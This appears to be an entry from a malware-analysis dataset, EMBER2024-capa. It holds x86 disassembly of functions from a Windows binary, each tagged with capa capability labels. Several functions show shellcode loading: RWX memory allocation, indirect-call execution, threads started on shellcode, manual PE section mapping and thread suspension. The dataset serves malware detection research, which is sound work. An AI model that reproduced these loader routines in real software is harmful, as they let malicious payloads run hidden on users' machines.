joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405c30
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d54
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ba7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d54
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ba7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d70
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405c30
xor eax, eax
push ebp
push 0x405c29
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405960
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405c0e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405d90
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405c0e
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405c30
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405d4a
cmp byte [ebp - 0xd], 0
jne 0x405c77
cmp byte [ebp - 0x12], 0
je 0x405d4a
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405c90
dec ebx
cmp byte [ebx], 0x2e
je 0x405c9f
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405c8f
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405d4a
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405cdc
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405d4a
cmp byte [ebp - 0xd], 0
je 0x405d4a
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405d4a
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4078d8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404a00
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4078f1
test al, 0x10
je 0x4078f5
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x409afc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, eax
mov edi, dword [ebx + 0x24]
mov esi, dword [ebx + 0x34]
sub esi, dword [ebx + 0x6c]
sub esi, dword [ebx + 0x64]
test esi, esi
jne 0x409b25
cmp dword [ebx + 0x64], 0
jne 0x409b25
cmp dword [ebx + 0x6c], 0
jne 0x409b25
mov esi, edi
jmp 0x409bb1
cmp esi, 0xffffffff
jne 0x409b30
dec esi
jmp 0x409bb1
mov eax, dword [ebx + 0x64]
lea edx, [edi + edi]
sub edx, 0x106
cmp eax, edx
jb 0x409bb1
mov eax, dword [ebx + 0x30]
lea edx, [eax + edi]
mov ecx, edi
call fcn.00409114
sub dword [ebx + 0x68], edi
sub dword [ebx + 0x64], edi
sub dword [ebx + 0x54], edi
mov eax, dword [ebx + 0x44]
mov edx, dword [ebx + 0x3c]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x409b79
movzx ecx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x409b7e
mov word [edx], 0
dec eax
test eax, eax
jne 0x409b5f
mov eax, edi
mov edx, dword [ebx + 0x38]
lea edx, [edx + eax*2]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp edi, dword [esp]
ja 0x409ba5
movzx ecx, word [esp]
sub cx, di
mov word [edx], cx
jmp 0x409baa
mov word [edx], 0
dec eax
test eax, eax
jne 0x409b8b
add esi, edi
mov eax, dword [ebx]
cmp dword [eax + 4], 0
je 0x409c0f
mov edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
mov ecx, dword [ebx + 0x30]
lea edx, [ecx + edx]
mov ecx, esi
call fcn.00409874
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x409bfa
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x30]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x409c0f
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x409b05
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40e670
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0x446920
mov eax, ebx
mov edx, 8
test al, 1
je 0x40e68c
shr eax, 1
xor eax, 0xedb88320
jmp 0x40e68e
shr eax, 1
dec edx
jne 0x40e67f
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x40e678
pop ebx
ret

Function at 0x40e6a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049f0
xor eax, eax
push ebp
push 0x40e717
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x40e6d2
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x40e6ff
mov edx, 1
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + edx - 1]
mov esi, ebx
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x446920]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x40e6db
not ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e71e
lea eax, [ebp - 4]
call fcn.00404570
ret
Function at 0x40e728
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x40e758
inc edx
xor ecx, ecx
movzx esi, byte [ebx + ecx]
mov edi, eax
and edi, 0xff
xor esi, edi
mov esi, dword [esi*4 + 0x446920]
shr eax, 8
xor esi, eax
mov eax, esi
inc ecx
dec edx
jne 0x40e738
not eax
pop edi
pop esi
pop ebx
ret

Function at 0x40e760
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x40e790
inc edx
xor ecx, ecx
movzx esi, byte [ebx + ecx]
mov edi, eax
and edi, 0xff
xor esi, edi
mov esi, dword [esi*4 + 0x446920]
shr eax, 8
xor esi, eax
mov eax, esi
inc ecx
dec edx
jne 0x40e770
not eax
pop edi
pop esi
pop ebx
ret

Function at 0x40e9c4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049f0
xor eax, eax
push ebp
push 0x40eb2f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404570
mov eax, dword [ebp - 4]
test eax, eax
je 0x40e9fe
sub eax, 4
mov eax, dword [eax]
mov edi, eax
test edi, edi
je 0x40eb19
mov eax, dword [ebp - 4]
call fcn.0040e6a4
mov dword [ebp - 0xc], eax
lea edx, [edi + 4]
lea eax, [ebp - 4]
call fcn.00404c90
lea eax, [ebp - 4]
call fcn.00404a60
lea edx, [eax + edi]
lea eax, [ebp - 0xc]
mov ecx, 4
call fcn.00402f64
mov eax, dword [ebp - 4]
test eax, eax
je 0x40ea42
sub eax, 4
mov eax, dword [eax]
mov edi, eax
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x10], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0xf], al
mov eax, ebx
shr eax, 8
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], bl
dec esi
cmp esi, 0
jl 0x40eb0e
mov dword [ebp - 8], esi
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx]
movzx ecx, byte [ebp - 0xf]
add dl, cl
mov byte [eax], dl
mov esi, edi
sub esi, 2
jl 0x40eab7
inc esi
mov ebx, 2
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 2]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 1]
add dl, cl
movzx ecx, byte [ebp - 0xd]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x40ea8f
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
movzx ecx, byte [ebp - 0x10]
add dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
dec ebx
cmp ebx, 1
jl 0x40eb01
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 1]
add dl, cl
movzx ecx, byte [ebp - 0xe]
xor dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
test ebx, ebx
jne 0x40ead9
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x40ea6c
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.004045c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40eb36
lea eax, [ebp - 4]
call fcn.00404570
ret
Function at 0x40eb40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049f0
xor eax, eax
push ebp
push 0x40ec98
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404570
mov eax, dword [ebp - 4]
test eax, eax
je 0x40eb7a
sub eax, 4
mov eax, dword [eax]
mov edi, eax
test edi, edi
je 0x40ec82
mov eax, esi
shr eax, 0x18
mov byte [ebp - 0xc], al
mov eax, esi
shr eax, 0x10
mov byte [ebp - 0xb], al
mov eax, esi
shr eax, 8
mov byte [ebp - 0xa], al
mov eax, esi
mov byte [ebp - 9], al
dec ebx
cmp ebx, 0
jl 0x40ec49
mov dword [ebp - 8], ebx
mov esi, edi
dec esi
test esi, esi
jle 0x40ebde
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dl, byte [ebp - 0xa]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx]
sub dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x40ebba
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx + edi - 1]
movzx ecx, byte [ebp - 0xc]
sub dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
cmp ebx, 2
jl 0x40ec26
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dl, byte [ebp - 9]
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + ebx - 2]
sub dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
cmp ebx, 1
jne 0x40ebff
lea eax, [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 4]
movzx edx, byte [edx]
movzx ecx, byte [ebp - 0xb]
sub dl, cl
mov byte [eax], dl
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x40ebae
lea eax, [ebp - 4]
call fcn.00404a60
mov ebx, edi
sub ebx, 4
mov edx, ebx
call fcn.0040e728
mov esi, eax
lea eax, [ebp - 4]
call fcn.00404a60
add eax, ebx
cmp esi, dword [eax]
jne 0x40ec82
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.004045c4
mov edx, ebx
mov eax, dword [ebp + 8]
call fcn.00404c90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ec9f
lea eax, [ebp - 4]
call fcn.00404570
ret

Function at 0x40f484
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov byte [esp], dl
mov ebp, eax
mov dword [esp + 4], 0x1c
xor edx, edx
mov eax, 4
call fcn.0040f1d0
mov edi, eax
lea eax, [esp + 4]
push eax
push edi
call fcn.0040f1f0
jmp 0x40f50a
cmp ebp, dword [esp + 0x10]
jne 0x40f50a
call sub.kernel32.dll_GetCurrentThreadId_1
cmp eax, dword [esp + 0xc]
je 0x40f50a
mov eax, dword [esp + 0xc]
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov esi, eax
cmp byte [esp], 0
je 0x40f4f0
xor ebx, ebx
jmp 0x40f4df
inc ebx
push esi
call sub.kernel32.dll_ResumeThread
test eax, eax
je 0x40f504
cmp ebx, 0x64
jle 0x40f4de
jmp 0x40f504
xor ebx, ebx
jmp 0x40f4f5
inc ebx
push esi
call sub.kernel32.dll_SuspendThread
test eax, eax
jbe 0x40f504
cmp ebx, 0x64
jle 0x40f4f4
push esi
call sub.kernel32.dll_CloseHandle
lea eax, [esp + 4]
push eax
push edi
call fcn.0040f214
test eax, eax
jne 0x40f4b3
push edi
call sub.kernel32.dll_CloseHandle
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40f528
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffd8
mov esi, eax
test esi, esi
je 0x40f635
push 0x40f63c
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
mov dword [esp], esi
push 0x40f64c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 8], eax
push 0x40f65c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0xc], eax
push 0x40f66c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x10], eax
push 0x40f678
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x14], eax
push 0x40f68c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x18], eax
push 0x40f6a0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x1c], eax
push 0x40f6ac
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x20], eax
push 0x40f6bc
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x24], eax
mov edi, fcn.0040f3c4
sub edi, 0x40f2a8
push 0x40
push 0x3000
push 0x28
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
je 0x40f635
mov edx, esp
mov ecx, 0x28
mov eax, ebx
call fcn.00406690
push 0x40
push 0x3000
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
test esi, esi
je 0x40f635
mov edx, 0x40f2a8
mov ecx, edi
mov eax, esi
call fcn.00406690
mov eax, dword [esp]
call fcn.0040f3c4
call sub.kernel32.dll_GetCurrentProcessId
xor edx, edx
call fcn.0040f484
mov eax, ebx
call esi
call sub.kernel32.dll_GetCurrentProcessId
mov dl, 1
call fcn.0040f484
add esp, 0x28
pop edi
pop esi
pop ebx
ret

Function at 0x40f700
Capabilities:
Parse pe header

Disassembly:
push ebx
xor edx, edx
mov ebx, eax
mov ecx, ebx
mov ebx, dword [ebx + 0x3c]
add ebx, eax
mov eax, ebx
cmp word [ecx], 0x5a4d
jne 0x40f738
cmp dword [eax], 0x4550
jne 0x40f738
movzx ecx, word [eax + 0x14]
cmp ecx, 0xe0
jne 0x40f738
movzx eax, word [eax + 0x16]
and ax, 2
cmp ax, 2
sete dl
mov eax, edx
pop ebx
ret
Function at 0x40f7ec
Capabilities:
Allocate or change rwx memory
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp], eax
xor edi, edi
mov eax, dword [esp]
call fcn.0040f700
test al, al
je 0x40f892
mov eax, dword [esp]
call fcn.0040f6d0
test eax, eax
je 0x40f892
mov edx, dword [esp]
mov ebx, dword [edx + 0x3c]
add ebx, dword [esp]
lea esi, [ebx + 0x18]
movzx edx, word [ebx + 0x14]
add esi, edx
push 0x40
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40f892
mov ecx, dword [esi + 0x14]
mov edx, dword [esp]
mov eax, dword [esp + 4]
call fcn.00406690
movzx ebp, word [ebx + 6]
dec ebp
test ebp, ebp
jb 0x40f88e
inc ebp
xor ebx, ebx
lea edi, [ebx + ebx*4]
mov edx, dword [esi + edi*8 + 0xc]
mov eax, dword [esp + 4]
call fcn.0040f6c8
mov dword [esp + 8], eax
mov edx, dword [esi + edi*8 + 0x14]
mov eax, dword [esp]
call fcn.0040f6c8
mov ecx, dword [esi + edi*8 + 0x10]
mov edx, eax
mov eax, dword [esp + 8]
call fcn.00406690
inc ebx
dec ebp
jne 0x40f85b
mov edi, dword [esp + 4]
mov eax, edi
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40fb1c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x40fbac
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x1000
push 0x104
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
push 0x104
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404768
mov edx, dword [ebp - 4]
mov eax, 0x40fbc4
call fcn.00404b4c
test eax, eax
jle 0x40fb8c
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404768
mov edx, dword [ebp - 8]
mov eax, 0x40fbd0
call fcn.00404b4c
test eax, eax
jg 0x40fb91
mov ebx, 0x40fbd4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fbb3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404594
ret
Function at 0x40fc20
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x40fd1a
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0040f7ec
mov esi, eax
test esi, esi
jne 0x40fc61
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40fd24
mov eax, esi
call fcn.0040f89c
mov eax, esi
call fcn.0040f924
test al, al
jne 0x40fc80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40fd24
mov ebx, esi
mov dword [ebx + 0x4c], 0xbc610f
mov eax, dword [0x4457f0]
push eax
call fcn.0040fb1c
mov dword [ebx + 0x40], eax
cmp dword [ebp + 0xc], 0
jne 0x40fcc4
mov dword [ebx + 0x44], edi
push 0x40
push 0x1000
mov eax, dword [ebx + 0x44]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x48]
mov ecx, edi
mov edx, dword [ebp - 4]
call fcn.00406690
jmp 0x40fcea
mov edi, dword [ebp + 0xc]
mov dword [ebx + 0x44], edi
push 0x40
push 0x1000
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x48]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
call fcn.00406690
lea eax, [ebp - 0x10]
push eax
push 0
push esi
push 0x40fbd8
push 0
push 0
call sub.kernel32.dll_CreateThread
cmp byte [ebp + 8], 0
je 0x40fd0d
push 0xffffffffffffffff
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [ebp - 0xc], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40fd24
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4105f0
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
xor ecx, ecx
mov edx, 0x40
call fcn.00403308
ret
Function at 0x4107cc
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049f0
xor eax, eax
push ebp
push 0x4108a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, 0x10
call fcn.00403308
push 0
push 0x8000080
push 3
push 0
push 2
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00404a00
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41088a
push 0
push 0
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
je 0x410884
push 0
push 0
push 0
push 4
push esi
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
test edi, edi
je 0x41087e
lea eax, [ebp - 0x60]
call fcn.004105f0
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov ecx, eax
lea eax, [ebp - 0x60]
mov edx, edi
call fcn.00410628
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x60]
call fcn.004106ac
push edi
call sub.kernel32.dll_UnmapViewOfFile
push esi
call sub.kernel32.dll_CloseHandle
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4108a7
lea eax, [ebp - 4]
call fcn.00404570
ret

Function at 0x4110b8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
xor esi, esi
xor ecx, ecx
mov ebx, edx
add ebx, ebx
add ebx, ebx
add ebx, ecx
lea ebx, [eax + ebx*4]
movzx ebx, byte [ebx + esi + 0x27]
lea edi, [eax + esi*4]
xor byte [edi + ecx + 0x117], bl
inc ecx
cmp ecx, 4
jne 0x4110bf
inc esi
cmp esi, 4
jne 0x4110bd
pop edi
pop esi
pop ebx
ret
Function at 0x4110ec
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 5]
dec eax
test eax, eax
jl 0x411136
inc eax
mov dword [esp + 4], eax
xor esi, esi
mov eax, esi
add eax, eax
add eax, eax
movzx edx, byte [ebx + eax + 7]
mov byte [ebx + esi*4 + 0x27], dl
movzx edx, byte [ebx + eax + 8]
mov byte [ebx + esi*4 + 0x28], dl
movzx edx, byte [ebx + eax + 9]
mov byte [ebx + esi*4 + 0x29], dl
movzx eax, byte [ebx + eax + 0xa]
mov byte [ebx + esi*4 + 0x2a], al
inc esi
dec dword [esp + 4]
jne 0x411105
movzx esi, byte [ebx + 5]
movzx eax, byte [ebx + 4]
movzx edx, byte [ebx + 6]
inc edx
imul edx
dec eax
sub eax, esi
jl 0x411236
inc eax
mov dword [esp + 4], eax
xor ecx, ecx
mov eax, esp
lea edx, [ebx + esi*4]
movzx edx, byte [edx + ecx + 0x23]
mov byte [eax], dl
inc ecx
inc eax
cmp ecx, 4
jne 0x411157
movzx eax, byte [ebx + 5]
push eax
mov eax, esi
pop edx
mov ecx, edx
cdq
idiv ecx
test edx, edx
jne 0x4111d4
lea eax, [esp + 2]
push eax
lea eax, [esp + 7]
push eax
lea ecx, [esp + 9]
lea edx, [esp + 8]
mov eax, ebx
call fcn.004114ec
lea eax, [esp + 2]
push eax
lea eax, [esp + 7]
push eax
lea ecx, [esp + 9]
lea edx, [esp + 8]
mov eax, ebx
call fcn.00411460
mov ecx, 4
mov ebp, 0x441db8
mov edi, esp
movzx eax, byte [ebx + 5]
push eax
mov eax, esi
pop edx
push ecx
mov ecx, edx
cdq
idiv ecx
pop ecx
movzx eax, byte [ebp + eax*4]
xor byte [edi], al
inc edi
inc ebp
dec ecx
jne 0x4111b7
jmp 0x411207
movzx ecx, byte [ebx + 5]
cmp cl, 6
jbe 0x411207
movzx eax, cl
push eax
mov eax, esi
pop edx
mov ecx, edx
cdq
idiv ecx
cmp edx, 4
jne 0x411207
lea eax, [esp + 2]
push eax
lea eax, [esp + 7]
push eax
lea ecx, [esp + 9]
lea edx, [esp + 8]
mov eax, ebx
call fcn.00411460
xor ecx, ecx
mov eax, esp
movzx edx, byte [ebx + 5]
mov edi, esi
sub edi, edx
lea edx, [ebx + edi*4]
movzx edx, byte [edx + ecx + 0x27]
xor dl, byte [eax]
lea edi, [ebx + esi*4]
mov byte [edi + ecx + 0x27], dl
inc ecx
inc eax
cmp ecx, 4
jne 0x41120b
inc esi
dec dword [esp + 4]
jne 0x411153
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x411240
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov edi, 0x441cb8
xor ecx, ecx
xor edx, edx
lea eax, [esi + ecx*4]
movzx eax, byte [eax + edx + 0x117]
mov ebx, eax
and bl, 0xf
movzx ebx, bl
movzx eax, al
shr eax, 4
add eax, eax
lea eax, [edi + eax*8]
movzx eax, byte [eax + ebx]
lea ebx, [esi + ecx*4]
mov byte [ebx + edx + 0x117], al
inc edx
cmp edx, 4
jne 0x41124e
inc ecx
cmp ecx, 4
jne 0x41124c
pop edi
pop esi
pop ebx
ret